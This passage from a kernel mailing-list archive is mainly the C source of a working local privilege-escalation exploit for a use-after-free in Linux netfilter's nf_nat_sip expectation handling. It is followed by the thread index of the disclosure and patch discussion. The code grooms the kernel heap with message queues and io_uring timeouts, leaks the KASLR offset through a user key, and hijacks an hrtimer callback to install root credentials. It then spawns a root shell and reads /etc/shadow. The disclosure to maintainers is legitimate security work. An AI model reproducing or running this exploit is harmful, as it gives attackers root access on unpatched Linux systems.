r->cq_ring=r->sq_ring;
r->sq_ring_sz=r->cq_ring_sz=ring_sz;
} else {
r->sq_ring=mmap(NULL, r->sq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd,
IORING_OFF_SQ_RING);
if (r->sq_ring== MAP_FAILED)
die("mmap io_uring SQ ring");
r->cq_ring=mmap(NULL, r->cq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd,
IORING_OFF_CQ_RING);
if (r->cq_ring== MAP_FAILED)
die("mmap io_uring CQ ring");
}
r->sqes=mmap(NULL, r->p.sq_entries*sizeof(*r->sqes),
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
r->fd, IORING_OFF_SQES);
if (r->sqes== MAP_FAILED)
die("mmap io_uring SQEs");
r->sq_head= (unsigned*)((char*)r->sq_ring+r->p.sq_off.head);
r->sq_tail= (unsigned*)((char*)r->sq_ring+r->p.sq_off.tail);
r->sq_mask= (unsigned*)((char*)r->sq_ring+r->p.sq_off.ring_mask);
r->sq_entries= (unsigned*)((char*)r->sq_ring+
r->p.sq_off.ring_entries);
r->sq_array= (unsigned*)((char*)r->sq_ring+r->p.sq_off.array);
r->cq_head= (unsigned*)((char*)r->cq_ring+r->p.cq_off.head);
r->cq_tail= (unsigned*)((char*)r->cq_ring+r->p.cq_off.tail);
r->cq_mask= (unsigned*)((char*)r->cq_ring+r->p.cq_off.ring_mask);
r->cqes= (structio_uring_cqe*)((char*)r->cq_ring+
r->p.cq_off.cqes);
}

staticstructio_uring_sqe*uring_get_sqe(structuring*r)
{
unsignedhead=__atomic_load_n(r->sq_head, __ATOMIC_ACQUIRE);
unsignedtail=__atomic_load_n(r->sq_tail, __ATOMIC_RELAXED);
unsignedpos=tail+r->pending;
unsignedidx;
structio_uring_sqe*sqe;

if (pos-head>=*r->sq_entries)
die("io_uring SQ full");
idx=pos&*r->sq_mask;
r->sq_array[idx] =idx;
sqe=&r->sqes[idx];
memset(sqe, 0, sizeof(*sqe));
r->pending++;
returnsqe;
}

staticvoiduring_submit(structuring*r)
{
unsignedtail, n=r->pending;
longret;

if (!n)
return;
tail=__atomic_load_n(r->sq_tail, __ATOMIC_RELAXED);
__atomic_store_n(r->sq_tail, tail+n, __ATOMIC_RELEASE);
r->pending=0;
ret=syscall(SYS_io_uring_enter, r->fd, n, 0, 0, NULL, 0);
if (ret!= (long)n)
die("io_uring_enter submitted %ld/%u", ret, n);
}

staticvoiduring_wait_cqes(structuring*r, unsignedwant)
{
for (;;) {
unsignedhead=__atomic_load_n(r->cq_head, __ATOMIC_RELAXED);
unsignedtail=__atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE);

if (tail-head>=want) {
__atomic_store_n(r->cq_head, head+want, __ATOMIC_RELEASE);
return;
}
if (syscall(SYS_io_uring_enter, r->fd, 0, want, IORING_ENTER_GETEVENTS,
NULL, 0) <0&&errno!=EINTR)
die("io_uring_enter(GETEVENTS)");
}
}

staticvoidarm_realtime_timeout(structuring*r,
conststruct__kernel_timespec*when,
uint64_ttag)
{
structio_uring_sqe*sqe=uring_get_sqe(r);

sqe->opcode=IORING_OP_TIMEOUT;
sqe->fd=-1;
sqe->addr= (uintptr_t)when;
sqe->len=1;
sqe->timeout_flags=IORING_TIMEOUT_ABS|IORING_TIMEOUT_REALTIME;
sqe->user_data=tag;
uring_submit(r);
}

staticvoidremove_timeout(structuring*r, uint64_ttarget_tag,
uint64_tremove_tag)
{
structio_uring_sqe*sqe=uring_get_sqe(r);

sqe->opcode=IORING_OP_TIMEOUT_REMOVE;
sqe->fd=-1;
sqe->addr=target_tag;
sqe->user_data=remove_tag;
uring_submit(r);
uring_wait_cqes(r, 2);
}

staticintmsg_pool_create(structmsg80*msgs, size_tnr, uint64_tcred)
{
intqid=msgget(IPC_PRIVATE, IPC_CREAT |0600);

if (qid<0)
die("msgget");
for (size_ti=0; i<nr; i++) {
memset(&msgs[i], 0x41+i%20, sizeof(msgs[i]));
msgs[i].type=i+1;
memcpy(&msgs[i].data[24], &cred, sizeof(cred));
if (msgsnd(qid, &msgs[i], sizeof(msgs[i].data), 0) <0)
die("msgsnd holder %zu", i);
}
returnqid;
}

staticvoidmsg_pool_free_one(intqid, size_tindex)
{
structmsg80msg;
ssize_tn=msgrcv(qid, &msg, sizeof(msg.data), index+1, 0);

if (n!= (ssize_t)sizeof(msg.data))
die("msgrcv holder %zu", index);
}

staticintmake_connect_socket(void)
{
intfd=socket(AF_INET6, SOCK_DGRAM | SOCK_CLOEXEC, 0);

if (fd<0)
die("IPv6 connect socket");
returnfd;
}

staticintqueue_held_connect(structuring*r, intconnect_fd,
constunsignedcharaddr[128], uint64_ttag)
{
structio_uring_sqe*sqe;
intefd=eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK);

if (efd<0)
die("eventfd");
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_POLL_ADD;
sqe->flags=IOSQE_IO_LINK;
sqe->fd=efd;
sqe->poll32_events= POLLIN;
sqe->user_data=tag;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_CONNECT;
sqe->fd=connect_fd;
sqe->addr= (uintptr_t)addr;
sqe->addr2=128;
sqe->user_data=tag+1;
uring_submit(r);
returnefd;
}

staticintdelete_ct_and_hold_connect(structuring*r,
conststructtuple4*victim,
intconnect_fd,
constunsignedcharaddr[128])
{
structnlmsg_bufb;
structsockaddr_nlnladdr= { .nl_family=AF_NETLINK };
structioveciov;
structmsghdrmsg;
structio_uring_sqe*sqe;
intefd=eventfd(0, EFD_CLOEXEC | EFD_NONBLOCK);

if (efd<0)
die("eventfd for delete/connect");
nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK <<8) | IPCTNL_MSG_CT_DELETE,
NLM_F_REQUEST, AF_INET);
put_tuple(&b, CTA_TUPLE_ORIG, victim);
iov.iov_base =b.data;
iov.iov_len =b.len;
memset(&msg, 0, sizeof(msg));
msg.msg_name=&nladdr;
msg.msg_namelen=sizeof(nladdr);
msg.msg_iov =&iov;
msg.msg_iovlen =1;

sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_SENDMSG;
sqe->fd=nlfd;
sqe->addr= (uintptr_t)&msg;
sqe->len=1;
sqe->user_data=0x2000;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_POLL_ADD;
sqe->flags=IOSQE_IO_LINK;
sqe->fd=efd;
sqe->poll32_events= POLLIN;
sqe->user_data=0x2001;
sqe=uring_get_sqe(r);
sqe->opcode=IORING_OP_CONNECT;
sqe->fd=connect_fd;
sqe->addr= (uintptr_t)addr;
sqe->addr2=128;
sqe->user_data=0x2002;
uring_submit(r);
returnefd;
}

staticconststructexp_row*find_exp(conststructexp_row*rows, size_tnr,
conststructtuple4*tuple)
{
for (size_ti=0; i<nr; i++)
if (tuple_equal(&rows[i].tuple, tuple))
return&rows[i];
returnNULL;
}

staticstructstale_chainbuild_stale_chain(conststructtuple4*oracle_master,
uint32_tnat_addr,
unsignedport)
{
structstale_chainout;
structtuple4reply, mask_full=exp_mask(true);
structtuple4mask_wild=exp_mask(false);
structtuple4rtcp, trigger, fmaster, freply, f, q;
structexp_rowrows[32];
conststructexp_row*row;
uint32_tf_id;
size_tnr;
intret;

out.victim=tuple_make("10.23.0.2", 40000,
"10.23.0.1", 5060);
reply=tuple_reply(&out.victim);
ret=ct_new(&out.victim, &reply, "sip", nat_addr, 3600);
if (ret)
die("create vulnerable SIP master: %s", strerror(-ret));
out.seed=exp_tuple(nat_addr, port+1);
ret=exp_new(&out.victim, &out.seed, &mask_wild, 0, 0, 3600);
if (ret)
die("create seed expectation: %s", strerror(-ret));

if (!packet_ready) {
packet_path_setup();
packet_ready=true;
}
send_sip_sdp(port);
rtcp=exp_tuple(nat_addr, port+3);
rtcp.saddr=inet_addr("10.23.0.1");
nr=exp_dump(rows, ARRAY_SIZE(rows));
row=find_exp(rows, nr, &out.seed);
if (!row)
die("seed expectation disappeared after SIP trigger");
out.seed_id=row->id;
row=find_exp(rows, nr, &rtcp);
if (!row||row->class!=1)
die("malicious SIP packet did not reach repaired RTCP state");
ret=exp_del_id(&rtcp, row->id);
if (ret)
die("delete repaired RTCP expectation: %s", strerror(-ret));
fprintf(stderr, "stage: repaired RTCP removed\n");

trigger=exp_tuple(nat_addr, port);
trigger.saddr=inet_addr("10.23.0.1");
ret=exp_new(oracle_master, &trigger, &mask_full, 1, 0, 3600);
if (ret)
die("second DEAD expectation unlink: %s", strerror(-ret));
fprintf(stderr, "stage: second DEAD unlink reached\n");

/* Keep trigger live so its later RCU free cannot cover E on the cache LIFO. */
usleep(500000);
fmaster=tuple_make("192.0.2.30", 42000+chain_serial,
"192.0.2.40", 5060);
freply=tuple_reply(&fmaster);
ret=ct_new(&fmaster, &freply, "sip", 0, 3600);
if (ret)
die("create alias master: %s", strerror(-ret));
f=exp_tuple(inet_addr("203.0.113.9"), 45000+chain_serial*4);
f.saddr=inet_addr("192.0.2.40");
f.sport=htons(45001+chain_serial*4);
ret=exp_new(&fmaster, &f, &mask_full, 1, 0, 3600);
if (ret)
die("create expectation-cache alias: %s", strerror(-ret));
fprintf(stderr, "stage: expectation slot reclaimed\n");

q=exp_tuple(inet_addr("203.0.113.10"), 45002+chain_serial*4);
q.saddr=inet_addr("10.23.0.1");
q.sport=htons(45003+chain_serial*4);
ret=exp_new(&out.victim, &q, &mask_full, 2, 0, 3600);
if (ret)
die("create victim-list probe: %s", strerror(-ret));
fprintf(stderr, "stage: victim-list probe inserted\n");
nr=exp_dump_master(&out.victim, rows, ARRAY_SIZE(rows));
fprintf(stderr, "stage: victim master dump returned %zu rows\n", nr);
row=find_exp(rows, nr, &f);
if (!row)
die("expectation-cache slot was not reclaimed by alias");
f_id=row->id;
row=find_exp(rows, nr, &q);
if (!row)
die("victim-list probe missing from master dump");
ret=exp_del_id(&q, row->id);
if (ret)
die("delete victim-list probe: %s", strerror(-ret));
fprintf(stderr, "stage: victim-list probe removed\n");

/* F's forged pprev clears V; its real master must remain alive and stale. */
ret=exp_del_id(&f, f_id);
if (ret)
die("delete expectation-cache alias: %s", strerror(-ret));
fprintf(stderr, "stage: alias removed and victim list cleared\n");
nr=exp_dump_master(&out.victim, rows, ARRAY_SIZE(rows));
fprintf(stderr, "stage: repaired victim dump returned %zu rows\n", nr);
if (nr)
die("victim expectation list was not repaired");
ret=exp_del(&trigger);
if (ret)
die("delete DEAD-unlink trigger: %s", strerror(-ret));
fprintf(stderr, "stage: trigger removed\n");
chain_serial++;
returnout;
}

staticvoidverify_safe_decrement(conststructtuple4*oracle_master,
uint32_tnat_addr, unsignedport)
{
structstale_chainchain;
structuringring;
unsignedcharaddr[128] = { 0 };
uint64_tone=1;
intsock, efd, ret;

chain=build_stale_chain(oracle_master, nat_addr, port);
uring_init(&ring, 16);
sock=make_connect_socket();
addr[0] =AF_INET6;
addr[26] =1;
efd=delete_ct_and_hold_connect(&ring, &chain.victim, sock, addr);
fprintf(stderr, "stage: victim deleted and buffer held\n");
ret=exp_del_id(&chain.seed, chain.seed_id);
if (ret)
die("trigger controlled decrement: %s", strerror(-ret));
fprintf(stderr, "stage: orphan seed removed\n");
if (write(efd, &one, sizeof(one)) !=sizeof(one))
die("release held CONNECT");
usleep(100000);
printf("safe controlled decrement path completed\n");
fflush(stdout);
for (;;)
pause();
}

staticintprobe_init_root_access(void)
{
intfd=open("/root", O_RDONLY| O_DIRECTORY | O_CLOEXEC);

if (fd<0)
return-errno;
close(fd);
return0;
}

staticintprobe_initial_uts_admin(void)
{
longret;

errno=0;
ret=syscall(SYS_sethostname, NULL, -1L);
if (ret==0)
return0;
return-errno;
}

staticvoidrun_root_test(conststructtuple4*oracle_master,
uint32_tnat_addr, unsignedport,
uint64_tslide)
{
enum { MSG_NR=192, A_INDEX=160, T_INDEX=161, D_INDEX=162 };
constuint64_tlinked_init_cred=0xffffffff8300d700ULL;
constuint64_tlinked_revert=0xffffffff817e8640ULL;
structstale_chainchain;
structuringring;
structmsg80*msgs=xmalloc(sizeof(*msgs) *MSG_NR);
struct__kernel_timespecwhen;
structtimespecnow;
unsignedchardaddr[128] = { 0 };
unsignedcharraw[sizeof(structsockaddr_un)] = { 0 };
structsockaddr_un*sun= (structsockaddr_un*)raw;
uint64_tinit_cred=linked_init_cred+slide;
uint64_tcallback=linked_revert+slide;
intqid, bindfd, dfd, ret;
int64_texpires;

ret=probe_init_root_access();
if (ret==0)
die("precondition failed: init-userns /root is already accessible");
if (ret!=-EACCES&&ret!=-EPERM)
die("probe init-userns /root before exploit: %s", strerror(-ret));
ret=probe_initial_uts_admin();
if (ret!=-EPERM)
die("precondition failed: initial UTS CAP_SYS_ADMIN probe returned %s",
ret?strerror(-ret) :"success");
fprintf(stderr, "stage: init-userns /root access denied before exploit\n");

uring_init(&ring, 32);
bindfd=socket(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0);
if (bindfd<0)
die("AF_UNIX bind socket");
qid=msg_pool_create(msgs, MSG_NR, init_cred);
fprintf(stderr, "stage: %u kmalloc-128 message holders allocated\n", MSG_NR);

/* Fresh-slab allocation order is high-to-low: 202,201,200 map D,T,A. */
msg_pool_free_one(qid, D_INDEX);
chain=build_stale_chain(oracle_master, nat_addr, port);
daddr[0] =176;
dfd=delete_ct_and_hold_connect(&ring, &chain.victim,
make_connect_socket(), daddr);
(void)dfd;
uring_wait_cqes(&ring, 1); /* the synchronous netlink SENDMSG */
fprintf(stderr, "stage: D reclaimed the victim extension\n");

msg_pool_free_one(qid, T_INDEX);
if (clock_gettime(CLOCK_REALTIME, &now) <0)
die("clock_gettime(CLOCK_REALTIME)");
when.tv_sec =now.tv_sec+3;
when.tv_nsec =now.tv_nsec;
expires= (int64_t)when.tv_sec *1000000000LL+when.tv_nsec;
arm_realtime_timeout(&ring, &when, 0x3000);
fprintf(stderr, "stage: realtime timeout armed\n");

ret=exp_del_id(&chain.seed, chain.seed_id);
if (ret)
die("decrement timeout is_queued: %s", strerror(-ret));
fprintf(stderr, "stage: timeout is_queued decremented\n");

sun->sun_family =AF_UNIX;
sun->sun_path[0] =0;
memcpy(raw+40, &expires, sizeof(expires));
raw[56] =1;
memcpy(raw+64, &expires, sizeof(expires));
memcpy(raw+72, &callback, sizeof(callback));
remove_timeout(&ring, 0x3000, 0x3001);
ret=bind(bindfd, (structsockaddr*)raw, sizeof(raw));
if (ret)
die("bind timeout reclaimer");
fprintf(stderr, "stage: stale hrtimer repaired by unix_address\n");

/* Stay in userspace on this CPU until the hrtimer callback has run. */
for (;;) {
structtimespeccur;
int64_tnow_ns;

clock_gettime(CLOCK_REALTIME, &cur);
now_ns= (int64_t)cur.tv_sec*1000000000LL+cur.tv_nsec;
if (now_ns>=expires+100000000LL)
break;
__asm__volatile("pause");
}
ret=probe_initial_uts_admin();
if (ret!=-EINVAL) {
fprintf(stderr,
"callback did not grant initial UTS CAP_SYS_ADMIN: %s\n",
ret?strerror(-ret) :"unexpected success");
for (;;)
pause();
}
ret=probe_init_root_access();
if (ret) {
fprintf(stderr,
"callback did not grant init-userns /root access: %s\n",
strerror(-ret));
for (;;)
pause();
}
fprintf(stderr,
"stage: subjective init_cred installed; init-userns /root accessible\n");
if (fork() ==0) {
if (getenv("LPE_PROOF"))
execl("/bin/sh", "sh", "-p", "-c",
"echo ROOT_SHELL; id; "
"grep '^CapEff:' /proc/self/status; "
"cat /proc/self/uid_map; "
"if head -c 1 /etc/shadow >/dev/null; then "
"echo INIT_USERNS_ROOT; else exit 1; fi",
(char*)NULL);
else
execl("/bin/sh", "sh", "-p", (char*)NULL);
_exit(127);
}
for (;;)
pause();
}

staticuint64_tscan_timeout_slide(constunsignedchar*buf, size_tlen)
{
constuint64_tlinked_io_timeout_fn=0xffffffff819653f0ULL;
uint64_tseen[64];
size_tnseen=0;

for (size_toff=0; off+sizeof(uint64_t) <=len; off+=8) {
uint64_tv, slide;
unsignedcount=0;
boolduplicate=false;

memcpy(&v, buf+off, sizeof(v));
if (v<linked_io_timeout_fn)
continue;
slide=v-linked_io_timeout_fn;
if (slide>0x3fe00000ULL|| (slide&0x1fffff))
continue;
for (size_ti=0; i<nseen; i++)
if (seen[i] ==slide)
duplicate=true;
if (duplicate)
continue;
if (nseen<ARRAY_SIZE(seen))
seen[nseen++] =slide;
for (size_tj=0; j+sizeof(uint64_t) <=len; j+=8) {
uint64_tw;

memcpy(&w, buf+j, sizeof(w));
if (w==linked_io_timeout_fn+slide)
count++;
}
if (count>=4) {
fprintf(stderr,
"stage: leaked io_timeout_fn %u times, slide=%#llx\n",
count, (unsignedlonglong)slide);
returnslide;
}
}
returnUINT64_MAX;
}

staticuint64_tleak_kaslr(conststructtuple4*oracle_master,
uint32_tnat_addr, unsignedport)
{
enum {
MSG_NR=192,
TIMEOUT_FIRST=145,
TIMEOUT_LAST=160,
PAYLOAD_INDEX=161,
D_INDEX=162,
NR_TIMEOUTS=TIMEOUT_LAST-TIMEOUT_FIRST+1,
};
structstale_chainchain;
structuringring;
structmsg80*msgs=xmalloc(sizeof(*msgs) *MSG_NR);
struct__kernel_timespecwhen;
structtimespecnow;
unsignedchardaddr[128] = { 0 };
unsignedcharpayload[80];
unsignedchardesc[]="leak";
unsignedchar*dump=xmalloc(65536);
uint64_tslide;
longkey, n;
intqid, ret;

memset(payload, 0x4b, sizeof(payload));
uring_init(&ring, 64);
key=add_user_key(desc, sizeof(desc) -1, payload, 1);
if (key<0)
die("create leak key");
qid=msg_pool_create(msgs, MSG_NR, 0);
msg_pool_free_one(qid, D_INDEX);
chain=build_stale_chain(oracle_master, nat_addr, port);
daddr[0] =129;
delete_ct_and_hold_connect(&ring, &chain.victim,
make_connect_socket(), daddr);
uring_wait_cqes(&ring, 1);

msg_pool_free_one(qid, PAYLOAD_INDEX);
if (update_user_key(key, payload, sizeof(payload)) <0)
die("place leak key payload");
for (unsignedi=TIMEOUT_FIRST; i<=TIMEOUT_LAST; i++)
msg_pool_free_one(qid, i);
if (clock_gettime(CLOCK_REALTIME, &now) <0)
die("clock_gettime for leak timers");
when.tv_sec =now.tv_sec+30;
when.tv_nsec =now.tv_nsec;
for (unsignedi=0; i<NR_TIMEOUTS; i++)
arm_realtime_timeout(&ring, &when, 0x4000+i);

ret=exp_del_id(&chain.seed, chain.seed_id);
if (ret)
die("inflate leak key length: %s", strerror(-ret));
n=read_user_key(key, dump, 65536);
if (n<=0||n>65536)
die("read inflated key payload returned %ld", n);
slide=scan_timeout_slide(dump, n);
if (slide==UINT64_MAX) {
fprintf(stderr, "KASLR pointer not found in %ld-byte heap disclosure\n", n);
for (;;)
pause();
}
for (unsignedi=0; i<NR_TIMEOUTS; i++)
remove_timeout(&ring, 0x4000+i, 0x5000+i);
returnslide;
}

staticboolin_initial_user_namespace(void)
{
unsignedlonglonginside, outside, length;
FILE*fp=fopen("/proc/self/uid_map", "re");
intfields;

if (!fp)
die("open /proc/self/uid_map");
fields=fscanf(fp, "%llu%llu%llu", &inside, &outside, &length);
fclose(fp);
if (fields!=3)
die("parse /proc/self/uid_map");
returninside==0&&outside==0&&length==4294967295ULL;
}

staticvoidenter_owned_namespaces(intargc, char**argv)
{
charself[PATH_MAX];
char**args;
ssize_tlen;

if (geteuid() ==0) {
if (in_initial_user_namespace())
die("refusing to run as root in the initial user namespace");
return;
}

len=readlink("/proc/self/exe", self, sizeof(self) -1);
if (len<0)
die("readlink /proc/self/exe");
if ((size_t)len==sizeof(self) -1)
die("executable path is too long");
self[len] ='\0';

args=calloc((size_t)argc+4, sizeof(*args));
if (!args)
die("allocate unshare argv");
args[0] = (char*)"unshare";
args[1] = (char*)"-Urn";
args[2] = (char*)"--";
args[3] =self;
for (inti=1; i<argc; i++)
args[i+3] =argv[i];
args[argc+3] =NULL;

execvp(args[0], args);
die("exec unshare: %s", strerror(errno));
}

intmain(intargc, char**argv)
{
structtuple4oracle_master, oracle_reply;
uint32_tnat_addr=inet_addr("198.51.100.77");
unsignedport;
intret;

enter_owned_namespaces(argc, argv);
printf("pinned to CPU %d\n", pin_last_cpu());
netns_setup();
nl_open();
oracle_master=tuple_make("192.0.2.10", 41000,
"192.0.2.20", 5060);
oracle_reply=tuple_reply(&oracle_master);
ret=ct_new(&oracle_master, &oracle_reply, "sip", 0, 3600);
if (ret)
die("create oracle master: %s", strerror(-ret));
port=find_sip_hash_port(&oracle_master, nat_addr);
printf("expectation hash relation: H(%u)=H(%u), H(%u)!=H(%u)\n",
port, port+3, port, port+2);
fflush(stdout);
if (argc>1&&!strcmp(argv[1], "--sip-clean"))
verify_clean_sip(port, nat_addr);
if (argc>1&&!strcmp(argv[1], "--uring-hold")) {
structuringring;
unsignedcharaddr[128] = { 0 };
ints, efd;

uring_init(&ring, 8);
s=make_connect_socket();
efd=queue_held_connect(&ring, s, addr, 0x1000);
printf("linked CONNECT buffer held behind eventfd %d\n", efd);
}
if (argc>1&&!strcmp(argv[1], "--primitive-safe"))
verify_safe_decrement(&oracle_master, nat_addr, port);
if (argc>2&&!strcmp(argv[1], "--root-test")) {
char*end=NULL;
uint64_tslide=strtoull(argv[2], &end, 0);

if (!end||*end)
die("invalid KASLR slide");
run_root_test(&oracle_master, nat_addr, port, slide);
}
if (argc==1||!strcmp(argv[1], "--auto-root")) {
uint64_tslide=leak_kaslr(&oracle_master, nat_addr, port);

run_root_test(&oracle_master, nat_addr, port, slide);
}
return0;
}

Best regards,

Jaeyeong Lee

[-- Attachment #1.2: Type: text/html, Size: 689802 bytes --]

[-- Attachment #2: image.png --]
[-- Type: image/png, Size: 49288 bytes --]

^ permalink raw reply	[flat|nested] 10+ messages in thread

end of thread, other threads:[~2026-07-12  8:40 UTC | newest]

Thread overview: 10+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-10 23:19 netfilter: nf_nat_sip expectation UAF permits local privilege escalation Jaeyeong Lee
2026-07-11  5:29 ` Greg KH
2026-07-11 14:21   ` [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash Jaeyeong Lee
2026-07-11 16:29     ` Florian Westphal
2026-07-12  5:54       ` Greg KH
2026-07-12  7:40         ` Florian Westphal
2026-07-12  7:54           ` Greg KH
2026-07-12  8:08             ` Florian Westphal
2026-07-12  8:20               ` Greg KH
2026-07-12  8:40                 ` panic_on_warn and lack of lesser-WARN (was: Re: [PATCH nf] netfilter: nf_nat: do not reuse an unexpected expectation on RTCP clash) Florian Westphal

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.